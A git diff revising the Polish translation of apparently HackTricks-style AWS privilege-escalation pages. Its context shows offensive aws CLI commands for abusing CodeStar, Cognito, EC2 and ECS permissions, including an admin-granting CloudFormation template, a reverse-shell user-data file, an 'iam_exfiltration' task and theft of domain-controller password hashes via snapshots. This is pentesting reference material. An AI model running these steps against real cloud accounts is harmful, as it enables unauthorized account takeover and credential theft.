codestar-createproject-codestar-associateteammember.md
@@ -58,10 +58,10 @@ codestar-createproject-codestar-associateteammember.md
- Nazwa stosu zazwyczaj będzie odpowiadać jednemu z dwóch wzorców:
- `awscodestar--infrastructure`
- `awscodestar--lambda`
-- Dokładna nazwa zależy od wybranego szablonu (odwołując się do przykładowego skryptu exploit).
+- Dokładna nazwa zależy od wybranego szablonu (odnosząc się do przykładowego skryptu exploit).
3. **Dostęp i uprawnienia:**
- Po aktualizacji uzyskujesz możliwości przypisane do **roli IAM CloudFormation** powiązanej z tym stosem.
-- Uwaga: To nie zapewnia z definicji pełnych uprawnień administratora. Dodatkowe źle skonfigurowane zasoby w środowisku mogą być wymagane do dalszego podniesienia uprawnień.
+- Uwaga: To nie zapewnia z natury pełnych uprawnień administratora. Dodatkowe źle skonfigurowane zasoby w środowisku mogą być wymagane do dalszego podniesienia uprawnień.
Aby uzyskać więcej informacji, sprawdź oryginalne badania: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
Możesz znaleźć exploit w [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
index 30b7057f2..16c34ed06 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -4,7 +4,7 @@
Dzięki tym uprawnieniom możesz **nadużyć roli IAM codestar**, aby wykonać **dowolne działania** za pomocą **szablonu cloudformation**.
-Aby to wykorzystać, musisz utworzyć **wiadro S3, które jest dostępne** z zaatakowanego konta. Prześlij plik o nazwie `toolchain.json`. Plik ten powinien zawierać **eksploit szablonu cloudformation**. Poniższy może być użyty do ustawienia zarządzanej polityki dla użytkownika pod twoją kontrolą i **przyznania mu uprawnień administratora**:
+Aby to wykorzystać, musisz utworzyć **wiadro S3, które jest dostępne** z zaatakowanego konta. Prześlij plik o nazwie `toolchain.json`. Plik ten powinien zawierać **eksploit szablonu cloudformation**. Można użyć następującego, aby ustawić zarządzaną politykę dla użytkownika pod twoją kontrolą i **przyznać mu uprawnienia administratora**:
```json:toolchain.json
{
"Resources": {
@@ -32,7 +32,7 @@ Również **prześlij** ten `empty zip` plik do **bucketu**:
{% file src="../../../../images/empty.zip" %}
-Pamiętaj, że **bucket z oboma plikami musi być dostępny przez konto ofiary**.
+Pamiętaj, że **bucket z oboma plikami musi być dostępny dla konta ofiary**.
Po przesłaniu obu rzeczy możesz teraz przejść do **eksploatacji**, tworząc projekt **codestar**:
```bash
@@ -79,6 +79,6 @@ aws codestar create-project \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH
```
-To exploit this, you need to have the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Możesz tam znaleźć wariant do stworzenia zarządzanej polityki administratora dla roli zamiast dla użytkownika.
+Ten exploit opiera się na **eksploicie Pacu tych uprawnień**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Można w nim znaleźć wariant do stworzenia zarządzanej polityki administratora dla roli zamiast dla użytkownika.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index 482e6e9f8..4a3d90b50 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -4,7 +4,7 @@
## Cognito
-Aby uzyskać więcej informacji na temat Cognito, sprawdź:
+Aby uzyskać więcej informacji o Cognito, sprawdź:
{{#ref}}
../aws-services/aws-cognito-enum/
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji na temat Cognito, sprawdź:
### Zbieranie poświadczeń z Identity Pool
-Ponieważ Cognito może przyznać **poświadczenia roli IAM** zarówno **uwierzytelnionym**, jak i **nieuwierzytelnionym** **użytkownikom**, jeśli znajdziesz **ID Identity Pool** aplikacji (powinno być zakodowane w niej), możesz uzyskać nowe poświadczenia, a tym samym privesc (w ramach konta AWS, na którym prawdopodobnie nie miałeś wcześniej żadnych poświadczeń).
+Ponieważ Cognito może przyznać **poświadczenia roli IAM** zarówno **uwierzytelnionym**, jak i **nieuwierzytelnionym** **użytkownikom**, jeśli znajdziesz **ID Identity Pool** aplikacji (powinno być w niej zakodowane), możesz uzyskać nowe poświadczenia, a tym samym privesc (w obrębie konta AWS, na którym prawdopodobnie nie miałeś wcześniej żadnych poświadczeń).
Aby uzyskać więcej informacji, [**sprawdź tę stronę**](../aws-unauthenticated-enum-access/#cognito).
@@ -38,7 +38,7 @@ Jeśli aplikacja cognito **nie ma włączonych użytkowników nieautoryzowanych*
### `cognito-identity:update-identity-pool`
-Napastnik z tym uprawnieniem mógłby ustawić na przykład Cognito User Pool pod swoją kontrolą lub innego dostawcę tożsamości, gdzie może się zalogować jako **sposób na uzyskanie dostępu do tego Cognito Identity Pool**. Następnie, po prostu **zalogowanie** się na tym dostawcy użytkowników **pozwoli mu uzyskać dostęp do skonfigurowanej roli autoryzowanej w Identity Pool**.
+Napastnik z tym uprawnieniem mógłby ustawić na przykład Cognito User Pool pod swoją kontrolą lub innego dostawcę tożsamości, w którym może się zalogować jako **sposób na uzyskanie dostępu do tego Cognito Identity Pool**. Następnie, po prostu **logując się** na tym dostawcy użytkowników, **uzyska dostęp do skonfigurowanej roli uwierzytelnionej w Identity Pool**.
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
@@ -92,13 +92,13 @@ aws cognito-idp create-group --group-name Hacked --user-pool-id -
### `cognito-idp:AdminConfirmSignUp`
-To uprawnienie pozwala na **potwierdzenie rejestracji**. Domyślnie każdy może zalogować się do aplikacji Cognito, jeśli to zostanie pozostawione, użytkownik mógłby utworzyć konto z dowolnymi danymi i potwierdzić je za pomocą tego uprawnienia.
+To uprawnienie pozwala na **potwierdzenie rejestracji**. Domyślnie każdy może się zalogować do aplikacji Cognito, jeśli to zostanie pozostawione, użytkownik mógłby utworzyć konto z dowolnymi danymi i potwierdzić je za pomocą tego uprawnienia.
```bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id \
--username
```
-**Potencjalny wpływ:** Pośrednie privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników, jeśli możesz zarejestrować nowego użytkownika. Pośrednie privesc do innych funkcji aplikacji, mogąc potwierdzić jakiekolwiek konto.
+**Potencjalny wpływ:** Pośredni privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników, jeśli możesz zarejestrować nowego użytkownika. Pośredni privesc do innych funkcji aplikacji, mogąc potwierdzić jakiekolwiek konto.
### `cognito-idp:AdminCreateUser`
@@ -111,7 +111,7 @@ aws cognito-idp admin-create-user \
[--validation-data ]
[--temporary-password ]
```
-**Potencjalny wpływ:** Bezpośredni privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji, mogąc stworzyć dowolnego użytkownika.
+**Potencjalny wpływ:** Bezpośrednie privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośrednie privesc do innych funkcji aplikacji, mogąc stworzyć dowolnego użytkownika.
### `cognito-idp:AdminEnableUser`
@@ -141,7 +141,7 @@ aws cognito-idp admin-set-user-password \
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
-**AdminSetUserSettings**: Napastnik mógłby potencjalnie nadużyć tego uprawnienia, aby ustawić telefon komórkowy pod swoją kontrolą jako **SMS MFA użytkownika**.
+**AdminSetUserSettings**: Napastnik mógłby potencjalnie nadużyć tej uprawnienia, aby ustawić telefon komórkowy pod swoją kontrolą jako **SMS MFA użytkownika**.
```bash
aws cognito-idp admin-set-user-settings \
--user-pool-id \
@@ -156,7 +156,7 @@ aws cognito-idp admin-set-user-mfa-preference \
--username \
--user-pool-id
```
-**SetUserPoolMfaConfig**: Podobnie jak w poprzednim przypadku, to uprawnienie może być używane do ustawiania preferencji MFA puli użytkowników w celu ominięcia ochrony MFA.
+**SetUserPoolMfaConfig**: Podobnie jak w poprzednim przypadku, to uprawnienie może być używane do ustawiania preferencji MFA w puli użytkowników, aby obejść ochronę MFA.
```bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id \
@@ -166,11 +166,11 @@ aws cognito-idp set-user-pool-mfa-config \
```
**UpdateUserPool:** Możliwe jest również zaktualizowanie puli użytkowników, aby zmienić politykę MFA. [Sprawdź cli tutaj](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
-**Potential Impact:** Pośredni privesc do potencjalnie dowolnego użytkownika, którego atakujący zna dane uwierzytelniające, co może pozwolić na ominięcie ochrony MFA.
+**Potencjalny wpływ:** Pośrednie privesc do potencjalnie każdego użytkownika, którego atakujący zna dane uwierzytelniające, co może pozwolić na ominięcie ochrony MFA.
### `cognito-idp:AdminUpdateUserAttributes`
-Atakujący z tym uprawnieniem mógłby zmienić adres e-mail lub numer telefonu lub jakikolwiek inny atrybut użytkownika pod jego kontrolą, aby spróbować uzyskać więcej uprawnień w podstawowej aplikacji.\
+Atakujący z tym uprawnieniem mógłby zmienić adres e-mail lub numer telefonu lub jakikolwiek inny atrybut użytkownika pod jego kontrolą, aby spróbować uzyskać więcej uprawnień w aplikacji bazowej.\
To pozwala na zmianę adresu e-mail lub numeru telefonu i ustawienie go jako zweryfikowanego.
```bash
aws cognito-idp admin-update-user-attributes \
@@ -178,26 +178,26 @@ aws cognito-idp admin-update-user-attributes \
--username \
--user-attributes
```
-**Potencjalny wpływ:** Potencjalne pośrednie privesc w podstawowej aplikacji korzystającej z Cognito User Pool, która przyznaje uprawnienia na podstawie atrybutów użytkownika.
+**Potencjalny wpływ:** Potencjalne pośrednie podniesienie uprawnień w podstawowej aplikacji korzystającej z Cognito User Pool, które przyznaje uprawnienia na podstawie atrybutów użytkownika.
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-Napastnik z tym uprawnieniem mógłby **utworzyć nowego klienta User Pool mniej restrykcyjnego** niż już istniejące klienty puli. Na przykład, nowy klient mógłby pozwalać na wszelkiego rodzaju metody uwierzytelniania, nie mieć żadnego sekretu, mieć wyłączoną revokację tokenów, pozwalać na dłuższy okres ważności tokenów...
+Napastnik z tym uprawnieniem mógłby **utworzyć nowego klienta User Pool o mniej restrykcyjnych** uprawnieniach niż już istniejące klienty pool. Na przykład, nowy klient mógłby pozwalać na wszelkiego rodzaju metody uwierzytelniania, nie mieć żadnego sekretu, mieć wyłączoną revokację tokenów, pozwalać na dłuższy okres ważności tokenów...
-To samo można zrobić, jeśli zamiast tworzenia nowego klienta, **zmodyfikowany zostanie istniejący**.
+To samo można zrobić, jeśli zamiast tworzenia nowego klienta, **zmodyfikowany jest istniejący**.
-W [**wierszu poleceń**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (lub [**aktualizacji**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) możesz zobaczyć wszystkie opcje, sprawdź to!
+W [**wierszu poleceń**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (lub [**aktualizacji**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) można zobaczyć wszystkie opcje, sprawdź to!
```bash
aws cognito-idp create-user-pool-client \
--user-pool-id \
--client-name \
[...]
```
-**Potencjalny wpływ:** Potencjalne pośrednie privesc do autoryzowanego użytkownika Identity Pool używanego przez User Pool poprzez utworzenie nowego klienta, który łagodzi środki bezpieczeństwa i umożliwia atakującemu zalogowanie się jako użytkownik, którego był w stanie utworzyć.
+**Potencjalny wpływ:** Potencjalny pośredni privesc do autoryzowanego użytkownika Identity Pool używanego przez User Pool poprzez utworzenie nowego klienta, który łagodzi środki bezpieczeństwa i umożliwia atakującemu zalogowanie się jako użytkownik, którego był w stanie utworzyć.
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
-Atakujący mógłby nadużyć tego uprawnienia, aby tworzyć użytkowników, przesyłając plik csv z nowymi użytkownikami.
+Atakujący mógłby nadużyć tej uprawnienia, aby tworzyć użytkowników, przesyłając plik csv z nowymi użytkownikami.
```bash
# Create a new import job
aws cognito-idp create-user-import-job \
@@ -216,11 +216,11 @@ curl -v -T "PATH_TO_CSV_FILE" \
```
(W przypadku, gdy tworzysz nowe zadanie importu, możesz również potrzebować uprawnienia iam passrole, jeszcze tego nie testowałem).
-**Potencjalny wpływ:** Bezpośrednie privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośrednie privesc do innych funkcji aplikacji, mogąc tworzyć dowolnego użytkownika.
+**Potencjalny wpływ:** Bezpośredni privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji, mogąc tworzyć dowolnego użytkownika.
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
-Napastnik mógłby stworzyć nowego dostawcę tożsamości, aby móc **zalogować się przez tego dostawcę**.
+Napastnik mógłby utworzyć nowego dostawcę tożsamości, aby następnie móc **zalogować się przez tego dostawcę**.
```bash
aws cognito-idp create-identity-provider \
--user-pool-id \
@@ -230,16 +230,16 @@ aws cognito-idp create-identity-provider \
[--attribute-mapping ] \
[--idp-identifiers ]
```
-**Potencjalny wpływ:** Bezpośredni privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji, mogąc tworzyć dowolnego użytkownika.
+**Potencjalny wpływ:** Bezpośrednie privesc do roli IAM puli tożsamości dla uwierzytelnionych użytkowników. Pośrednie privesc do innych funkcji aplikacji, mogąc tworzyć dowolnego użytkownika.
### cognito-sync:\* Analiza
To bardzo powszechne uprawnienie domyślnie w rolach Cognito Identity Pools. Nawet jeśli użycie znaku wieloznacznego w uprawnieniach zawsze wygląda źle (szczególnie w przypadku AWS), **przyznane uprawnienia nie są super przydatne z perspektywy atakującego**.
-To uprawnienie pozwala na odczyt informacji o użytkownikach z Identity Pools i Identity IDs wewnątrz Identity Pools (co nie jest wrażliwą informacją).\
-Identity IDs mogą mieć przypisane [**Zbiory danych**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), które są informacjami o sesjach (AWS definiuje to jako **zapisana gra**). Może się zdarzyć, że zawierają one jakiś rodzaj wrażliwych informacji (ale prawdopodobieństwo jest dość niskie). Możesz znaleźć na [**stronie enumeracji**](../aws-services/aws-cognito-enum/) jak uzyskać dostęp do tych informacji.
+To uprawnienie pozwala na odczyt informacji o użytkownikach z Identity Pools i Identity IDs wewnątrz Identity Pools (co nie jest informacją wrażliwą).\
+Identity IDs mogą mieć przypisane [**Zestawy danych**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), które są informacjami o sesjach (AWS definiuje to jako **zapisana gra**). Może być możliwe, że zawierają one jakiś rodzaj informacji wrażliwych (ale prawdopodobieństwo jest dość niskie). Możesz znaleźć na [**stronie enumeracji**](../aws-services/aws-cognito-enum/) jak uzyskać dostęp do tych informacji.
-Atakujący mógłby również wykorzystać te uprawnienia do **zapisania się do strumienia Cognito, który publikuje zmiany** w tych zbiorach danych lub **lambdy, która wyzwala się na zdarzenia cognito**. Nie widziałem, aby to było używane, i nie spodziewałbym się wrażliwych informacji tutaj, ale nie jest to niemożliwe.
+Atakujący mógłby również wykorzystać te uprawnienia do **zapisania się do strumienia Cognito, który publikuje zmiany** w tych zestawach danych lub **lambda, która wyzwala się na zdarzenia cognito**. Nie widziałem, aby to było używane, i nie spodziewałbym się tutaj informacji wrażliwych, ale nie jest to niemożliwe.
### Narzędzia automatyczne
@@ -249,7 +249,7 @@ Aby uzyskać opis funkcji modułów, zobacz część 2 [postu na blogu](https://
#### Użycie
-Przykład użycia cognito\_\_attack do próby tworzenia użytkownika i wszystkich wektorów privesc przeciwko danej puli tożsamości i kliencie puli użytkowników:
+Przykład użycia cognito\_\_attack do próby tworzenia użytkownika i wszystkich wektorów privesc przeciwko danej puli tożsamości i klientowi puli użytkowników:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
index a1284b494..cd9333446 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
@@ -4,7 +4,7 @@
## datapipeline
-Aby uzyskać więcej informacji o datapipeline, sprawdź:
+Aby uzyskać więcej informacji na temat datapipeline, sprawdź:
{{#ref}}
../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
@@ -50,7 +50,7 @@ Po utworzeniu potoku, atakujący aktualizuje jego definicję, aby określić kon
}
```
> [!NOTE]
-> Zauważ, że **rola** w **linii 14, 15 i 27** musi być rolą **możliwą do przyjęcia przez datapipeline.amazonaws.com**, a rola w **linii 28** musi być **rolą możliwą do przyjęcia przez ec2.amazonaws.com z profilem instancji EC2**.
+> Zauważ, że **rola** w **liniach 14, 15 i 27** musi być rolą **możliwą do przyjęcia przez datapipeline.amazonaws.com**, a rola w **linii 28** musi być **rolą możliwą do przyjęcia przez ec2.amazonaws.com z profilem instancji EC2**.
>
> Ponadto, instancja EC2 będzie miała dostęp tylko do roli możliwej do przyjęcia przez instancję EC2 (więc możesz ukraść tylko tę).
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
index 6d7b087b1..0d35dc530 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
@@ -1,4 +1,4 @@
-# AWS - Privesc Usług Katalogowych
+# AWS - Przejęcie uprawnień w Usługach Katalogowych
{{#include ../../../banners/hacktricks-training.md}}
@@ -23,10 +23,10 @@ Możliwe jest włączenie **adresu URL dostępu do aplikacji**, do którego uży
-A następnie **przyznać im rolę AWS IAM** na czas logowania, w ten sposób użytkownik/grupa AD będą miały dostęp do konsoli zarządzania AWS:
+A następnie **przyznanie im roli AWS IAM** na czas logowania, w ten sposób użytkownik/grupa AD będzie miała dostęp do konsoli zarządzania AWS:
-Nie ma najwyraźniej żadnego sposobu na włączenie adresu URL dostępu do aplikacji, konsoli zarządzania AWS i przyznanie uprawnień
+Wygląda na to, że nie ma sposobu na włączenie adresu URL dostępu do aplikacji, konsoli zarządzania AWS i przyznanie uprawnień.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
index 72994ec01..89c76daed 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji na temat dynamodb, sprawdź:
### Post Exploitation
-Z tego, co wiem, **nie ma bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) i **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na stronie **DynamoDB Post Exploitation**:
+Z tego, co wiem, **nie ma bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) oraz **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na **stronie Post Exploitation DynamoDB**:
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
index 549aaed91..a6f6e58df 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
@@ -6,7 +6,7 @@
### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
-Atakujący posiadający te uprawnienia będzie mógł potencjalnie **pobierać i analizować migawki woluminów lokalnie** oraz szukać w nich wrażliwych informacji (takich jak sekrety czy kod źródłowy). Dowiedz się, jak to zrobić w:
+Atakujący posiadający te uprawnienia będzie mógł potencjalnie **pobierać i analizować migawki wolumenów lokalnie** oraz szukać w nich wrażliwych informacji (takich jak sekrety czy kod źródłowy). Dowiedz się, jak to zrobić w:
{{#ref}}
../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -16,12 +16,12 @@ Inne uprawnienia mogą być również przydatne, takie jak: `ec2:DescribeInstanc
Narzędzie [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) przeprowadza ten atak, aby **wyciągnąć hasła z kontrolera domeny**.
-**Potencjalny wpływ:** Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w migawce (możesz nawet uzyskać hasła Active Directory).
+**Potencjalny wpływ:** Pośredni privesc poprzez lokalizowanie wrażliwych informacji w migawce (możesz nawet uzyskać hasła Active Directory).
### **`ec2:CreateSnapshot`**
-Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hasze wszystkich użytkowników domeny, tworząc **migawkę kontrolera domeny**, montując ją do instancji, którą kontroluje, i **eksportując plik NTDS.dit oraz rejestr SYSTEM** do użycia z projektem secretsdump Impacket.
+Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hasze wszystkich użytkowników domeny, tworząc **migawkę kontrolera domeny**, montując ją do instancji, którą kontroluje, oraz **eksportując plik NTDS.dit i SYSTEM** rejestru do użycia z projektem secretsdump Impacket.
-Możesz użyć tego narzędzia do zautomatyzowania ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu migawki.
+Możesz użyć tego narzędzia do automatyzacji ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu migawki.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
index 4907dfa29..5b2008fe9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
-Bądź ostrożny z GuradDuty, jeśli używasz poświadczeń roli IAM poza instancją:
+Uważaj na GuradDuty, jeśli używasz poświadczeń roli IAM poza instancją:
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -44,7 +44,7 @@ Bądź ostrożny z GuradDuty, jeśli używasz poświadczeń roli IAM poza instan
#### Privesc do ECS
-Z tym zestawem uprawnień możesz również **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób usługi ECS będą **uruchamiane** wewnątrz **instancji EC2**, do której masz dostęp, a następnie możesz przeniknąć te usługi (kontenery dockerowe) i **ukraść ich przypisane role ECS**.
+Z tym zestawem uprawnień możesz również **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób usługi ECS **będą uruchamiane** w **instancji EC2**, do której masz dostęp, a następnie możesz przeniknąć te usługi (kontenery dockerowe) i **ukraść ich przypisane role ECS**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,7 +59,7 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-Aby nauczyć się, jak **wymusić uruchomienie usług ECS** na tej nowej instancji EC2, sprawdź:
+Aby dowiedzieć się, jak **wymusić uruchomienie usług ECS** na tej nowej instancji EC2, sprawdź:
{{#ref}}
aws-ecs-privesc.md
@@ -80,13 +80,13 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-Jeśli **profil instancji ma rolę** i atakujący **nie może jej usunąć**, istnieje inne obejście. Może **znaleźć** **profil instancji bez roli** lub **utworzyć nowy** (`iam:CreateInstanceProfile`), **dodać** **rolę** do tego **profilu instancji** (jak wcześniej omówiono) i **przypisać profil instancji** skompromitowanej do skompromitowanej i**nstancji:**
+Jeśli **profil instancji ma rolę** i atakujący **nie może jej usunąć**, istnieje inne obejście. Może **znaleźć** **profil instancji bez roli** lub **utworzyć nowy** (`iam:CreateInstanceProfile`), **dodać** **rolę** do tego **profilu instancji** (jak wcześniej omówiono) i **przypisać profil instancji** do skompromitowanej i**nstancji:**
- Jeśli instancja **nie ma żadnego profilu** instancji (`ec2:AssociateIamInstanceProfile`) \*
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub specyficzny status profilu instancji).
+**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub określony status profilu instancji).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
@@ -108,7 +108,7 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}"
```
-**Potencjalny wpływ:** Bezpośredni privesc do dowolnej roli ECS.
+**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli ECS.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Ten scenariusz jest podobny do poprzednich, ale **bez** uprawnienia **`iam:PassRole`**.\
-To wciąż jest interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet jeśli nie ma roli, możesz **uruchomić kontener z uprawnieniami, aby uciec** do węzła i **ukraść rolę IAM EC2** oraz **inne role kontenerów ECS** działających na węźle.\
-Możesz nawet **zmusić inne zadania do uruchomienia wewnątrz instancji EC2**, którą przejmujesz, aby ukraść ich poświadczenia (jak omówiono w [**sekcji Privesc do węzła**](aws-ecs-privesc.md#privesc-to-node)).
+To wciąż jest interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet jeśli jest to bez roli, możesz **uruchomić kontener z uprawnieniami, aby uciec** do węzła i **ukraść rolę EC2 IAM** oraz **inne role kontenerów ECS** działających na węźle.\
+Możesz nawet **zmusić inne zadania do uruchomienia wewnątrz instancji EC2**, którą przejmujesz, aby ukraść ich dane uwierzytelniające (jak omówiono w [**sekcji Privesc do węzła**](aws-ecs-privesc.md#privesc-to-node)).
> [!WARNING]
> Ten atak jest możliwy tylko wtedy, gdy **klaster ECS używa instancji EC2**, a nie Fargate.
@@ -144,10 +144,10 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
